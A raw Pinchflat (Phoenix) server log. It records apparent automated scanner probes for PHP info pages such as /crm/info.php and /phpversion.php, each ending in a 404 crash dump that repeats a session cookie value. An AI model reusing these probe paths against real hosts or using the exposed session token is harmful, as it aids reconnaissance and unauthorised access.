"pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 91, host_info: :undefined }}, assigns: (truncated) 17:14:41.931 [info] GET /old/info.php 17:14:41.931 [debug] QUERY OK source="settings" db=0.1ms idle=770.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:41.932 [debug] QUERY OK source="settings" db=0.1ms idle=515.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:41.932 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:41.932 [error] #PID<0.11860.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 92) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /old/info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /old/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 92, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11860.0>, params: %{}, path_info: ["old", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/old/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXqYqlQoyG58ABWsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 92, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /old/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 92, host_info: :undefined }}, assigns: %{}, body_para (truncated) 17:14:42.187 [info] GET /crm/info.php 17:14:42.188 [debug] QUERY OK source="settings" db=0.1ms idle=515.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:42.188 [debug] QUERY OK source="settings" db=0.1ms idle=515.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:42.188 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:42.189 [error] #PID<0.11861.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 93) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /crm/info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /crm/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/crm/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 93, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11861.0>, params: %{}, path_info: ["crm", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/crm/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXrV2kRrMmmEABWuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/crm/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 93, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /crm/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/crm/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 93, host_info: :undefined }}, assigns: %{}, body_para (truncated) 17:14:42.444 [info] GET /php-info.php 17:14:42.444 [debug] QUERY OK source="settings" db=0.1ms idle=512.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:42.445 [debug] QUERY OK source="settings" db=0.1ms idle=512.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:42.445 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:42.445 [error] #PID<0.11862.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 94) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /php-info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /php-info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php-info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 94, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11862.0>, params: %{}, path_info: ["php-info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/php-info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXsS_KSDKeoUABWwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php-info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 94, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /php-info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php-info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 94, host_info: :undefined }}, assigns: %{}, body_params: (truncated) 17:14:42.703 [info] GET /phpversion.php 17:14:42.704 [debug] QUERY OK source="settings" db=0.1ms idle=761.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:42.704 [debug] QUERY OK source="settings" db=0.0ms idle=515.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:42.704 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:42.704 [error] #PID<0.11863.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 95) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /phpversion.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpversion (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpversion.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 95, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11863.0>, params: %{}, path_info: ["phpversion"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => 